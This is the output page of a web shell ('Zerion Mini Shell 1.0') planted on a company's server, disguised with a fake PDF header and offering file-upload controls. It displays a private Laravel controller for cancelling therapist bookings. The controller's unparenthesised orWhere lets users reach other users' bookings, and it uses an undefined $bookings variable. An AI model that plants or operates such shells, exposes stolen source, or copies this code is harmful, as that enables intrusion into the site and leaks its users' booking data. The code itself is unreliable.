%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/api-takeaseat.eco-n-tech.co.uk/app/Http/Controllers/Booking/
Upload File :
Create Path :
Current File : //home/forge/api-takeaseat.eco-n-tech.co.uk/app/Http/Controllers/Booking/CancelBooking.php

<?php

namespace App\Http\Controllers\Booking;

use App\Models\Booking;
use App\Jobs\RefundPayment;
use Illuminate\Support\Facades\Mail;
use App\Mail\Clients\CancelledBooking;
use App\Mail\Therapist\CancelledBooking as TherapistCancelledBooking;
use App\Notifications\Client\CancelledBooking as ClientCancelledSMS;
use App\Notifications\Therapist\CancelledBooking as TherapistCancelledSMS;
use App\Http\Resources\BookingResource;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;

class CancelBooking extends Controller
{
    /**
     * Handle the incoming request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    public function __invoke($id, Request $request)
    {
        $booking = Booking::where('id', $id)
            ->where('user_id', auth()->id())
            ->orWhere('user_id', auth()->user()->therapist ? auth()->user()->therapist->id : null)
            ->firstOrFail();

        if (auth()->user()->hasRole('therapist') || $booking->start_date >= now()->addHour(48)) {
            $booking->status = array_search('Cancelled', Booking::STATUSES);
            $booking->save();

            RefundPayment::dispatch($booking->payment);

            // Send Notification Emails
            Mail::to($booking->user)->send(new CancelledBooking($booking));
            Mail::to($booking->therapist->user)->send(new TherapistCancelledBooking($booking));

            // Send SMS
            $booking->user->notify(new ClientCancelledSMS($bookings));
            $booking->therapist->user->notify(new TherapistCancelledSMS($bookings));

            return new BookingResource($booking);
        }

        return response()->json('You cannot cancel this booking.', 422);
    }
}

Zerion Mini Shell 1.0